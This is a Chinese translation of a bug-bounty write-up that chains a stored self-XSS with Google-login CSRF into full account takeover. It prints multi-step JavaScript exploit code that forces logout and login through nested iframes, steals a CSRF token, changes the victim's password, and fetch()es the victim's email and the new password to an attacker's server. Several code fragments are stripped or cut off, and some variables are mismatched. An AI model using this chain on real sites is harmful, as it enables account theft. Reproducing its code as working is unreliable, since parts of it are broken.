从存储型self-XSS到最终实现账号完全接管

本文讲述了作者从发现一个存储型的self-XSS,到利用目标网站的一些错误配置和功能,最终实现目标网站账号的完全接管。

漏洞利用过程概括如下:

  • 发现存储型的self-XSS
  • google登录的csrf,登录攻击者的账户,将self-XSS转变成good-XSS
  • 登出攻击者的账户
  • google登录受害者的账户
  • 窃取修改密码的csrf令牌
  • 修改受害者账号密码
  • 发送到受害者的邮箱、密码到攻击者的服务器

漏洞发现&利用

在一个非公开漏洞赏金项目测试中,我在站点的个人简介设置功能中发现了一个简单的存储型XSS。该功能操作大概是,当从本地上传一张图片时,图片会被上传到非当前的另一服务器上,接下来的一个请求会将服务器图片地址保存到当前服务器上。我将该请求中的图片地址所在的参数加上了一个简单的XSS payload,类似这样&imageurl=https://example.com“>,接下来每次我访问个人简介的时候都会有提示框弹出。但是这只是一个self-XSS,我需要使其能在受害者方执行才行。

之前我了解到该站点支持google登录,那么可以使受害者通过访问下面的html代码登录我自己的账户,接着在5秒后使受害者访问账号的个人简介页从而触发存储型XSS。代码中的google登录用到的TOKEN可以在本地登录后抓取到,其有效期为一天,在有效期内发给受害者,受害者登录后TOKEN会保持自动更新有效性。

       

   
 

接着我在漏洞提交报告中阐述了以上的攻击细节,在受害者触发XSS之后攻击者可以做一些社工操作窃取受害者的数据,由于受害者浏览器访问的URL是同一网站的URL,这使得攻击可信度更高。该漏洞利用受到了h1漏洞分拣员的赞赏,但是他希望我可以实现对受害者的账户执行XSS,这样才能产生更高的影响。我想说这句话激励到了我,我对此表示感激。

所以接下来的任务就是实现登录受害者的账户并执行XSS。现在我比较好奇的是,如果受害者已经在网站登录了他的google账户的情况下,我们是否还可以触发XSS?答案是可以,我之前做了一些相关的研究和阅读,这篇@emgeekboy0writeup帮助了我很多。

如那篇writeup提到的,我们首先需要将账户登出。在这个网站的场景下登出账户并不是一个简单的登出url就可以,而是还需要一个csrf令牌才可以登出。好在令牌就在站点源码中,可以很简单的通过XSS获取。接着我在js代码中通过加载一个iframe去实现账户的登出操作,代码部署到了我的服务器上,XSS的payload相比之前也就更新成了“>。

//getting logout url with csrf token from source //从源码中获取登出url使用到的csrf令牌 var y = JSON.parse(document.getElementById('conf').innerHTML); var url = y.user.link.logOut  //First iframe to logout //第一个iframe用于登出账号操作 var profileIframe = document.createElement('iframe');  profileIframe.setAttribute('src', 'https://example.com'+url);  profileIframe.setAttribute('id', 'pi');  document.body.appendChild(profileIframe);

通过以上代码可以将之前已经登陆的攻击者账户登出,接下来需要通过google的登陆按钮登陆受害者的账户,但是现在的问题是并没有登陆google的url可用,唯一的方法就是点击google的登陆按钮。所以我开始研究javascript如何实现在DOM中点击按钮,并将其加入到脚本中。现在脚本整体功能稍显复杂,具体过程是在之前已经创建的第一个iframe中加载另一个iframe,为了后者iframe可以加载完成,在等待30秒后再触发其iframe中的DOM代码点击google登录按钮:

document.getElementById('pi').onload = function() {  //second iframe to login to victims google account //第二个iframe用于登录受害者的google账号  var profileIframe1 = document.createElement('iframe');  profileIframe1.setAttribute('src', 'https://example.com/login');  profileIframe1.setAttribute('id', 'lo1');  document.body.appendChild(profileIframe1);  //waiting for 30 seconds for the iframe to load properly //30秒等待iframe加载完成 document.getElementById('lo1').onload = function() {         setTimeout(function(){ load() }, 30000)          function load()         {             let iframe = document.getElementById('lo1');             let inner = iframe.contentDocument || iframe.contentWindow.document;              //Clicked google login in iframe to login to victim             //iframe中实现点击google登录按钮,登录受害者的账户             inner.getElementsByClassName("g_login")[1].click();          }     } }

现在我们已经成功登录了受害者账户,既然已经都这了何不再利用该站点的其它配置错误实现对受害者账户的完全接管。Cookies是带有HttpOnly属性的,所以窃取Cookies是行不通的。不过我们可以在设置中给google账户添加一个密码,而且有趣的是添加新密码并不需要旧密码确认。所以现在我最后要做的是构造一个可以修改密码的javascript脚本,为此我们需要解决下面两个问题:

  • 修改密码需要不同的csrf令牌,令牌位于设置页面的源码中,我需要拿到令牌才可以修改密码。
  • 设置页面的url大概是这样的“https://example.com/user/setting”, 所以我需要拿到受害者账号的账号名,才能到配置页拿到修改密码的csrf令牌。

读者是否记得上面提到的窃取用于登出操作的csrf令牌的地方,同时也是可以获取用户名的。接着下来为了获取密码修改的csrf令牌,我在之前创建的iframe中创建了又一个用于窃取令牌的iframe,代码如下:

//wait 40 seconds to t login fully //等待40秒完全登录 setTimeout(function(){ takeover() }, 40000)  function takeover() {     //Getting users parameters page url from source     //从源码中获取账户名     let iframe_second = document.getElementById('lo1');     let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document;     var z = JSON.parse(inner1.getElementById('conf').innerHTML);     var param = z.user.link.parameter;       // opens third iframe to steal csrf token for pass change     //创建用于窃取用于修改密码令牌的第三个iframe     // Where param is like /user/settings     //param值是/user/settings     var profileIframe2 = document.createElement('iframe');     profileIframe1.setAttribute('src', 'https://example.com'+param);     profileIframe1.setAttribute('id', 'lo2');     document.body.appendChild(profileIframe2);      //waiting 50 seconds to let the third iframe load fully     //等待50秒以便于让第三个iframe可以加载完成     document.getElementById('lo2').onload = function() {         setTimeout(function(){ csrf() }, 50000)          //Stealing csrf token from parameters page         //从设置页面窃取csrf令牌         function csrf() {             let iframe_csrf = document.getElementById('lo2');             let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document;             var csrf = inner_csrf.getElementById("password__token").value;         }     } }

密码修改用到的csrf令牌已拿到,只需要一个XMLHhttpRequest的POST请求就可以修改受害者账户的密码:

//account takover //接管账户 var xhr = new XMLHttpRequest(); xhr.open("POST", "https://example.com"+param+"/password", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf; var aBody = new Uint8Array(body.length); for (var i = 0; i  

不过就目前情况作为攻击者来说,密码已经修改,但是还需要获取受害者的email账号才行。幸运的是,用户的email账户刚好存在该站点的localStorage中,接下来只需要用fetch函数将其发送到我的服务上:

fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!") 

至此通过以上过程,完成了从存储型self-XSS到账户的完全接管。

读者可以从这里获取到完整的漏洞利用POC。这个漏洞利用过程将近需要1分钟,主要是为了让创建的几个iframe可以正常加载完成,设置了不少的延时。

收获总结

  • 总是尝试提高XSS的漏洞影响,比如从本地session存储中窃取个人信息,账号接管,越权或者正常的网络钓鱼
  • Javascript很强大,可以实现页面点击,所以一定要寻找机会利用点击来获得优势,例如google登录,点击有点击劫持保护的账户删除按钮等。
  • 漏洞利用过程需要用到不同的编程语言,所以需要时刻保持学习了解新语言的热情。我是javascript的初学者,但是通过google搜索完成了整个漏洞利用过程。起初我还在担心自己无法完成这么多步骤的漏洞利用,但是当我下定决心,完成整个漏洞利用代码只花费了6-7个小时,而且期间还有所休息。

参考来源:medium

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论